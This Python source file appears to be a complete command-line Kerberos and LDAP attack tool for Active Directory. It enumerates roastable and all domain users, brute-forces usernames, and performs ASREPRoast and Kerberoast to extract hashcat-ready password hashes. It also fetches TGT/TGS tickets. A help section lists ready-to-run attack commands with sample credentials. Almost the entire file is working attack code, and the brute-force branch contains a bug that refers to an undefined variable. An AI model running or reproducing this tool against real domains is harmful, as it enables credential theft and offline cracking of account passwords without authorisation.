#!/usr/bin/env python3
#
# Author:
#  Tamas Jos (@skelsec)
#


from msldap.ldap_objects.aduser import MSADUser
from msldap.commons.url import MSLDAPURLDecoder
from msldap import logger as msldaplogger

from minikerberos import logger as kerblogger
from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast
from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
from minikerberos.common.spn import KerberosSPN
from minikerberos.common.creds import KerberosCredential
from minikerberos.common.target import KerberosTarget
from minikerberos.aioclient import AIOKerberosClient
from minikerberos.common.utils import TGSTicket2hashcat

import asyncio
import ntpath
import logging
import getpass
import os
import csv
import platform

kerberoast_epilog = """==== Extra Help ====
Dump all users from LDAP in a TSV file:
   - kerberoast ldap full 'ldap://TEST\\victim:Passw0rd!1@10.10.10.2' -o users

List all kerberoastable users: 
   - kerberoast ldap spn 'ldap://TEST\\victim:Passw0rd!1@10.10.10.2'

List all asreproastable users users: 
   - kerberoast ldap asrep 'ldap://TEST\\victim:Passw0rd!1@10.10.10.2'

Brute-force guss of usernames via kerberos:
	(username_dict.txt is a list of usernames (without domain) one username per line)
   - kerberoast brute TEST.corp 10.10.10.2 username_dict.txt
   
ASREProast:
   - kerberoast asreproast 10.10.10.2 -u asreptest@TEST
   
Kerberoast (spnroast):
   - kerberoast spnroast 'kerberos+pw://TEST\\victim:Password@10.10.10.2' -u srv_http@test

Kerberoast using SSPI (spnroast-sspi WINDOWS ONLY!):
   - kerberoast spnroast-sspi -u srv_http@TEST

Auto (WINDOWS ONLY! use SSPI for authentication, grabs target users via ldap, peforms spn and asreproast):
   - kerberoast auto 10.10.10.2
   
TGT (get a TGT for given user credential and store it in a CCACHE file):
   - kerberoast tgt 'kerberos+pw://TEST\\victim:Password@10.10.10.2' user.ccache
   
TGS (get a TGS for given SPN and store it in a CCACHE file):
   - kerberoast tgs 'kerberos+pw://TEST\\victim:Password@10.10.10.2' srv_http@test user.ccache

For more information on kerberos and LDAP connection string options please consult the README of minikerberos and msldap respectively
"""


async def amain(args):
	if args.command == 'tgs':
		ku = KerberosClientURL.from_url(args.kerberos_connection_url)
		cred = ku.get_creds()
		target = ku.get_target()
		spn = KerberosSPN.from_user_email(args.spn)


		kcomm = AIOKerberosClient(cred, target)
		await kcomm.get_TGT()
		await kcomm.get_TGS(spn)
		
		kcomm.ccache.to_file(args.out_file)
	
	elif args.command == 'tgt':
		ku = KerberosClientURL.from_url(args.kerberos_connection_url)
		cred = ku.get_creds()
		target = ku.get_target()

		kcomm = AIOKerberosClient(cred, target)
		await kcomm.get_TGT()
		
		kcomm.ccache.to_file(args.out_file)

	elif args.command == 'asreproast':
		if not args.targets and not args.user:
			raise Exception('No targets loaded! Either -u or -t MUST be specified!')
		creds = []
		if args.targets:
			with open(args.targets, 'r') as f:
				for line in f:
					line = line.strip()
					domain = None
					username = None
					if line.find('@') != -1:
						#we take for granted that usernames do not have the char / in them!
						username, domain = line.split('@')
					else:
						username = line

					if args.realm:
						domain = args.realm
					else:
						if domain is None:
							raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')

					cred = KerberosCredential()
					cred.username = username
					cred.domain = domain
					creds.append(cred)

		if args.user:
			for user in args.user:
				domain = None
				username = None
				if user.find('@') != -1:
					#we take for granted that usernames do not have the char / in them!
					username, domain = user.split('@')
				else:
					username = user

				if args.realm:
					domain = args.realm
				else:
					if domain is None:
						raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
				cred = KerberosCredential()
				cred.username = username
				cred.domain = domain
				creds.append(cred)

		logging.debug('ASREPRoast loaded %d targets' % len(creds))

		logging.debug('ASREPRoast will suppoort the following encryption type: %s' % (str(args.etype)))

		
		ks = KerberosTarget(args.address)
		ar = APREPRoast(ks)
		hashes = []
		for cred in creds:
			h = await ar.run(cred, override_etype = [args.etype])
			hashes.append(h)

		if args.out_file:
			with open(args.out_file, 'w') as f:
				for thash in hashes:
					f.write(thash + '\r\n')

		else:
			for thash in hashes:
				print(thash)

		logging.info('ASREPRoast complete')

	elif args.command == 'spnroast':
		if not args.targets and not args.user:
			raise Exception('No targets loaded! Either -u or -t MUST be specified!')
		targets = []
		if args.targets:
			with open(args.targets, 'r') as f:
				for line in f:
					line = line.strip()
					domain = None
					username = None
					if line.find('@') != -1:
						#we take for granted that usernames do not have the char @ in them!
						username, domain = line.split('@')
					else:
						username = line

					if args.realm:
						domain = args.realm
					else:
						if domain is None:
							raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')

					target = KerberosSPN()
					target.username = username
					target.domain = domain
					targets.append(target)
					
		if args.user:
			for user in args.user:
				domain = None
				username = None
				if user.find('@') != -1:
					#we take for granted that usernames do not have the char / in them!
					username, domain = user.split('@')
				else:
					username = user

				if args.realm:
					domain = args.realm
				else:
					if domain is None:
						raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
				target = KerberosSPN()
				target.username = username
				target.domain = domain
				targets.append(target)

		if len(targets) == 0:
			raise Exception('No targets loaded!')
		logging.debug('Kerberoast loaded %d targets' % len(targets))

		if args.etype:
			if args.etype == -1:
				etypes = [23, 17, 18]
			else:
				etypes = [args.etype]
		else:
			etypes = [23, 17, 18]

		logging.debug('Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes)))
		
		ku = KerberosClientURL.from_url(args.kerberos_connection_url)
		cred = ku.get_creds()
		target = ku.get_target()
		ar = Kerberoast(target, cred)
		hashes = await ar.run(targets, override_etype = etypes)

		if args.out_file:
			with open(args.out_file, 'w') as f:
				for thash in hashes:
					f.write(thash + '\r\n')

		else:
			for thash in hashes:
				print(thash)

		logging.info('Kerberoast complete')

	elif args.command == 'brute':
		target = KerberosTarget(args.address)

		with open(args.targets, 'r') as f:
			for line in f:
				line = line.strip()
				spn = KerberosSPN()
				spn.username = line
				spn.domain = args.realm
				
				ke = KerberosUserEnum(target, spn)
			
				result = await ke.run()
				if result is True:
					if args.out_file:
						with open(args.out_file, 'a') as f:
							f.write(user + '\r\n')
					else:
						print('[+] Enumerated user: %s' % str(spn))

		logging.info('Kerberos user enumeration complete')

	elif args.command == 'spnroast-sspi':
		if platform.system() != 'Windows':
			print('[-]This command only works on Windows!')
			return
		try:
			from winsspi.sspi import KerberoastSSPI
		except ImportError:
			raise Exception('winsspi module not installed!')
			
		if not args.targets and not args.user:
			raise Exception('No targets loaded! Either -u or -t MUST be specified!')
		
		targets = []
		if args.targets:
			with open(args.targets, 'r') as f:
				for line in f:
					line = line.strip()
					domain = None
					username = None
					if line.find('@') != -1:
						#we take for granted that usernames do not have the char / in them!
						username, domain = line.split('@')
					else:
						username = line

					if args.realm:
						domain = args.realm
					else:
						if domain is None:
							raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
					
					spn_name = '%s@%s' % (username, domain)
					targets.append(spn_name)
					
		if args.user:
			for user in args.user:
				domain = None
				username = None
				if user.find('/') != -1:
					#we take for granted that usernames do not have the char / in them!
					username, domain = user.split('/')
				else:
					username = user

				if args.realm:
					domain = args.realm
				else:
					if domain is None:
						raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
				spn_name = '%s@%s' % (username, domain)
				targets.append(spn_name)
		
		results = []
		errors = []
		for spn_name in targets:
			ksspi = KerberoastSSPI()
			try:
				ticket = ksspi.get_ticket_for_spn(spn_name)
			except Exception as e:
				errors.append((spn_name, e))
				continue
			results.append(TGSTicket2hashcat(ticket))
			
		if args.out_file:
			with open(args.out_file, 'w') as f:
				for thash in results:
					f.write(thash + '\r\n')

		else:
			for thash in results:
				print(thash)
		
		for err in errors:
			print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

		logging.info('SSPI based Kerberoast complete')


	elif args.command == 'auto':
		if platform.system() != 'Windows':
			print('[-]This command only works on Windows!')
			return
		try:
			from winsspi.sspi import KerberoastSSPI
		except ImportError:
			raise Exception('winsspi module not installed!')
		
		domain = args.dc_ip
		url = 'ldap+sspi://%s' % domain
		msldap_url = MSLDAPURLDecoder(url)
		connection = msldap_url.get_connection()
		connection.connect()
		
		adinfo = connection.get_ad_info()
		domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
		spn_users = []
		asrep_users = []
		results = []
		errors = []
		for user in connection.get_all_knoreq_user_objects():
			cred = KerberosCredential()
			cred.username = user.sAMAccountName
			cred.domain = domain
			
			asrep_users.append(cred)
		for user in connection.get_all_service_user_objects():
			cred = KerberosCredential()
			cred.username = user.sAMAccountName
			cred.domain = domain
			
			spn_users.append(cred)
			
		for cred in asrep_users:
			ks = KerberosTarget(domain)
			ar = APREPRoast(ks)
			res = await ar.run(cred, override_etype = [args.etype])
			results.append(res)

		for cred in spn_users:
			spn_name = '%s@%s' % (cred.username, cred.domain)
			if spn_name[:6] == 'krbtgt':
				continue
			ksspi = KerberoastSSPI()
			try:
				ticket = ksspi.get_ticket_for_spn(spn_name)
			except Exception as e:
				errors.append((spn_name, e))
				continue
			results.append(TGSTicket2hashcat(ticket))
			
		if args.out_file:
			with open(args.out_file, 'w') as f:
				for thash in results:
					f.write(thash + '\r\n')
		else:
			for thash in results:
				print(thash)
				
		for err in errors:
			print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
		
	elif args.command == 'ldap':
		ldap_url = MSLDAPURLDecoder(args.ldap_url)
		connection = ldap_url.get_connection()
		connection.connect()
		adinfo = connection.get_ad_info()
		domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')

		if args.out_file:
			basefolder = ntpath.dirname(args.out_file)
			basefile = ntpath.basename(args.out_file)

		if args.type in ['spn','all']:
			logging.debug('Enumerating SPN user accounts...')
			cnt = 0
			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
					for user in connection.get_all_service_user_objects():
						cnt += 1
						f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
			
			else:
				print('[+] SPN users')
				for user in connection.get_all_service_user_objects():
					cnt += 1
					print('%s@%s' % (user.sAMAccountName, domain))
			
			logging.debug('Enumerated %d SPN user accounts' % cnt)

		if args.type in ['asrep','all']:
			logging.debug('Enumerating ASREP user accounts...')
			ctr = 0
			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
					for user in connection.get_all_knoreq_user_objects():
						ctr += 1
						f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
			else:
				print('[+] ASREP users')
				for user in connection.get_all_knoreq_user_objects():
					ctr += 1
					print('%s@%s' % (user.sAMAccountName, domain))

			logging.debug('Enumerated %d ASREP user accounts' % ctr)

		if args.type in ['full', 'all']:
			logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
			ctr = 0
			attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
					writer = csv.writer(f, delimiter = '\t')
					writer.writerow(attrs)
					for user in connection.get_all_user_objects():
						ctr += 1
						writer.writerow(user.get_row(attrs))

			else:
				logging.debug('Are you sure about this?')
				print('[+] Full user dump')
				print('\t'.join(attrs))
				for user in connection.get_all_user_objects():
					ctr += 1
					print('\t'.join([str(x) for x in user.get_row(attrs)]))

			
			logging.debug('Enumerated %d user accounts' % ctr)

		if args.type in ['custom']:
			if not args.filter:
				raise Exception('Custom LDAP search requires the search filter to be specified!')
			if not args.attrs:
				raise Exception('Custom LDAP search requires the attributes to be specified!')

			logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
			logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
			ctr = 0

			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
					writer = csv.writer(f, delimiter = '\t')
					writer.writerow(args.attrs)
					for obj in connection.pagedsearch(args.filter, args.attrs):
						ctr += 1
						writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])

			else:
				for obj in connection.pagedsearch(args.filter, args.attrs):
					ctr += 1
					print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))


def main():
	import argparse

	parser = argparse.ArgumentParser(description='Tool to perform verious kerberos security tests', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberoast_epilog)
	parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked')


	subparsers = parser.add_subparsers(help = 'commands')
	subparsers.required = True
	subparsers.dest = 'command'

	ldap_group = subparsers.add_parser('ldap', formatter_class=argparse.RawDescriptionHelpFormatter, help='Enumerate potentially vulnerable users via LDAP', epilog = MSLDAPURLDecoder.help_epilog)
	ldap_group.add_argument('type', choices=['spn', 'asrep', 'full','custom', 'all'], help='type of vulnerable users to enumerate')
	ldap_group.add_argument('ldap_url',  help='LDAP connection URL')
	ldap_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	ldap_group.add_argument('-f','--filter',  help='CUSTOM mode only. LDAP search filter')
	ldap_group.add_argument('-a','--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display')

	brute_group = subparsers.add_parser('brute', help='Enumerate users via brute-forcing kerberos service')
	brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
	brute_group.add_argument('address', help='Address of the DC')
	brute_group.add_argument('targets', help='File with a list of usernames to enumerate, one user per line')
	brute_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')

	asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting')
	asreproast_group.add_argument('address', help='Address of the DC')
	asreproast_group.add_argument('-t','--targets', help='File with a list of usernames to roast, one user per line')
	asreproast_group.add_argument('-r','--realm', help='Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any')
	asreproast_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	asreproast_group.add_argument('-u','--user',  action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
	asreproast_group.add_argument('-e','--etype', default=23, const=23, nargs='?', choices= [23, 17, 18], type=int, help = 'Set preferred encryption type')


	spnroast_group = subparsers.add_parser('spnroast', help='Perform spn roasting (aka kerberoasting)',formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
	spnroast_group.add_argument('kerberos_connection_url', help='Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>')
	spnroast_group.add_argument('-t','--targets', help='File with a list of usernames to roast, one user per line')
	spnroast_group.add_argument('-u','--user',  action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
	spnroast_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	spnroast_group.add_argument('-r','--realm', help='Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any')
	spnroast_group.add_argument('-e','--etype', default=-1, const=-1, nargs='?', choices= [23, 17, 18, -1], type=int, help = 'Set preferred encryption type. -1 for all')

	spnroastsspi_group = subparsers.add_parser('spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
	spnroastsspi_group.add_argument('-t','--targets', help='File with a list of usernames to roast, one user per line')
	spnroastsspi_group.add_argument('-u','--user',  action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
	spnroastsspi_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	spnroastsspi_group.add_argument('-r','--realm', help='Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any')
	
	tgt_group = subparsers.add_parser('tgt', help='Fetches a TGT for the given user credential',formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
	tgt_group.add_argument('kerberos_connection_url', help='Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>')
	tgt_group.add_argument('out_file',  help='Output CCACHE file')
	
	tgs_group = subparsers.add_parser('tgs', help='Fetches a TGT for the given user credential',formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
	tgs_group.add_argument('kerberos_connection_url', help='Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>')
	tgs_group.add_argument('spn',  help='SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>')
	tgs_group.add_argument('out_file',  help='Output CCACHE file')
	

	auto_group = subparsers.add_parser('auto', help='Just get the tickets already. Only works on windows under any domain-user context')
	auto_group.add_argument('dc_ip', help='Target domain controller')
	auto_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	auto_group.add_argument('-e','--etype', default=23, const=23, nargs='?', choices= [23, 17, 18], type=int, help = 'Set preferred encryption type')


	args = parser.parse_args()

	if args.verbose == 0:
		logging.basicConfig(level=logging.INFO)
		kerblogger.setLevel(logging.WARNING)
		msldaplogger.setLevel(logging.WARNING)
		
	elif args.verbose == 1:
		logging.basicConfig(level=logging.DEBUG)
		kerblogger.setLevel(logging.INFO)
		msldaplogger.setLevel(logging.INFO)
		
	else:
		logging.basicConfig(level=1)
		kerblogger.setLevel(logging.DEBUG)
		msldaplogger.setLevel(logging.DEBUG)
	
	asyncio.run(amain(args))
	
if __name__ == '__main__':
	main()
